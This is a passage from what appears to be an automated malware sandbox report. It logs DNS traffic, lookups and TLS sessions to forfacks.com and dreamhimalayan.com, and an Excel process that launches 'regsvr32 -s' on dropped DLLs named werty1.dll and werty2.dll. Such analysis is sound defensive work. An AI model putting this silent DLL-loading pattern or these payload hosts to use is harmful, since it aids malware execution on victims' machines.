                                                                                                                                                        Jun 9, 2021 17:27:55.624044895 CEST53652988.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:27:55.821855068 CEST5912353192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:27:55.915661097 CEST53591238.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:27:56.413481951 CEST5453153192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:27:56.464303970 CEST53545318.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:27:58.555433989 CEST4971453192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:27:58.605587959 CEST53497148.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:27:59.378201008 CEST5802853192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:27:59.428347111 CEST53580288.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:00.315299988 CEST5309753192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:00.366440058 CEST53530978.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:00.567648888 CEST4925753192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:00.633090019 CEST53492578.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:01.350143909 CEST6238953192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:01.402358055 CEST53623898.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:02.191524029 CEST4991053192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:02.253241062 CEST53499108.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:07.464163065 CEST5585453192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:07.517369032 CEST53558548.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:08.630286932 CEST6454953192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:08.704761982 CEST53645498.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:09.172266960 CEST6315353192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:09.252966881 CEST53631538.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:09.365168095 CEST5299153192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:09.415302038 CEST53529918.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:10.186427116 CEST6315353192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:10.248996973 CEST53631538.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:11.232665062 CEST6315353192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:11.310120106 CEST53631538.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:12.152554035 CEST5370053192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:12.205416918 CEST53537008.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:12.829169989 CEST5172653192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:12.887923002 CEST53517268.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:13.174850941 CEST5679453192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:13.228034019 CEST53567948.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:13.279653072 CEST6315353192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:13.331063032 CEST53631538.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.098720074 CEST5653453192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:14.118829012 CEST5662753192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:14.158104897 CEST53565348.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:14.168910027 CEST53566278.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:15.014678955 CEST5662153192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:15.065120935 CEST53566218.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:16.011219025 CEST6311653192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:16.061209917 CEST53631168.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:17.250433922 CEST6407853192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:17.302403927 CEST53640788.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:17.327058077 CEST6315353192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:17.385888100 CEST53631538.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:18.677098036 CEST6480153192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:18.729118109 CEST53648018.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:21.950930119 CEST6172153192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:22.004230022 CEST53617218.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:23.251657009 CEST5125553192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:23.302956104 CEST53512558.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:24.374874115 CEST6152253192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:24.439352989 CEST53615228.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:30.254097939 CEST5233753192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:30.316128969 CEST53523378.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:49.686044931 CEST5504653192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:49.747672081 CEST53550468.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:50.417886019 CEST4961253192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:50.466485977 CEST4928553192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:50.483442068 CEST53496128.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:50.604635000 CEST53492858.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:51.153373957 CEST5060153192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:51.214473963 CEST53506018.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:51.646523952 CEST6087553192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:51.708112001 CEST53608758.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:52.328021049 CEST5644853192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:52.458344936 CEST5917253192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:52.532151937 CEST53591728.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:52.540998936 CEST53564488.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:53.152051926 CEST6242053192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:53.213684082 CEST53624208.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:53.684298038 CEST6057953192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:53.744982958 CEST53605798.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:54.619990110 CEST5018353192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:54.678581953 CEST53501838.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:55.582276106 CEST6153153192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:55.641318083 CEST53615318.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:28:56.095144987 CEST4922853192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:28:56.155819893 CEST53492288.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:29:05.643776894 CEST5979453192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:29:05.702172041 CEST53597948.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:29:05.950674057 CEST5591653192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:29:06.010401011 CEST53559168.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:29:15.984694958 CEST5275253192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:29:16.047343016 CEST53527528.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:29:40.466238976 CEST6054253192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:29:40.540255070 CEST53605428.8.8.8192.168.2.4
                                                                                                                                                        Jun 9, 2021 17:29:41.727060080 CEST6068953192.168.2.48.8.8.8
                                                                                                                                                        Jun 9, 2021 17:29:41.792793989 CEST53606898.8.8.8192.168.2.4

                                                                                                                                                        DNS Queries

                                                                                                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                        Jun 9, 2021 17:28:12.829169989 CEST192.168.2.48.8.8.80x432fStandard query (0)forfacks.comA (IP address)IN (0x0001)
                                                                                                                                                        Jun 9, 2021 17:28:14.098720074 CEST192.168.2.48.8.8.80xbdd6Standard query (0)dreamhimalayan.comA (IP address)IN (0x0001)

                                                                                                                                                        DNS Answers

                                                                                                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                        Jun 9, 2021 17:28:12.887923002 CEST8.8.8.8192.168.2.40x432fNo error (0)forfacks.com192.185.48.167A (IP address)IN (0x0001)
                                                                                                                                                        Jun 9, 2021 17:28:14.158104897 CEST8.8.8.8192.168.2.40xbdd6No error (0)dreamhimalayan.com192.185.113.120A (IP address)IN (0x0001)

                                                                                                                                                        HTTPS Packets

                                                                                                                                                        TimestampSource IPSource PortDest IPDest PortSubjectIssuerNot BeforeNot AfterJA3 SSL Client FingerprintJA3 SSL Client Digest
                                                                                                                                                        Jun 9, 2021 17:28:13.224854946 CEST192.185.48.167443192.168.2.449736CN=*.forfacks.com CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Sun May 16 07:28:43 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021Sat Aug 14 07:28:43 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,037f463bf4616ecd445d4a1937da06e19
                                                                                                                                                        CN=R3, O=Let's Encrypt, C=USCN=ISRG Root X1, O=Internet Security Research Group, C=USFri Sep 04 02:00:00 CEST 2020Mon Sep 15 18:00:00 CEST 2025
                                                                                                                                                        CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Jan 20 20:14:03 CET 2021Mon Sep 30 20:14:03 CEST 2024
                                                                                                                                                        Jun 9, 2021 17:28:14.484292984 CEST192.185.113.120443192.168.2.449738CN=*.dreamhimalayan.com CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Sun May 16 02:04:50 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021Sat Aug 14 02:04:50 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,037f463bf4616ecd445d4a1937da06e19
                                                                                                                                                        CN=R3, O=Let's Encrypt, C=USCN=ISRG Root X1, O=Internet Security Research Group, C=USFri Sep 04 02:00:00 CEST 2020Mon Sep 15 18:00:00 CEST 2025
                                                                                                                                                        CN=ISRG Root X1, O=Internet Security Research Group, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Jan 20 20:14:03 CET 2021Mon Sep 30 20:14:03 CEST 2024

                                                                                                                                                        Code Manipulations

                                                                                                                                                        Statistics

                                                                                                                                                        Behavior

                                                                                                                                                        Click to jump to process

                                                                                                                                                        System Behavior

                                                                                                                                                        General

                                                                                                                                                        Start time:17:28:06
                                                                                                                                                        Start date:09/06/2021
                                                                                                                                                        Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
                                                                                                                                                        Imagebase:0xa00000
                                                                                                                                                        File size:27110184 bytes
                                                                                                                                                        MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Reputation:high

                                                                                                                                                        General

                                                                                                                                                        Start time:17:28:14
                                                                                                                                                        Start date:09/06/2021
                                                                                                                                                        Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:regsvr32 -s ..\werty1.dll
                                                                                                                                                        Imagebase:0x110000
                                                                                                                                                        File size:20992 bytes
                                                                                                                                                        MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Reputation:high

                                                                                                                                                        General

                                                                                                                                                        Start time:17:28:14
                                                                                                                                                        Start date:09/06/2021
                                                                                                                                                        Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:regsvr32 -s ..\werty2.dll
                                                                                                                                                        Imagebase:0x110000
                                                                                                                                                        File size:20992 bytes
                                                                                                                                                        MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Reputation:high

                                                                                                                                                        Disassembly

                                                                                                                                                        Code Analysis

                                                                                                                                                        Reset < >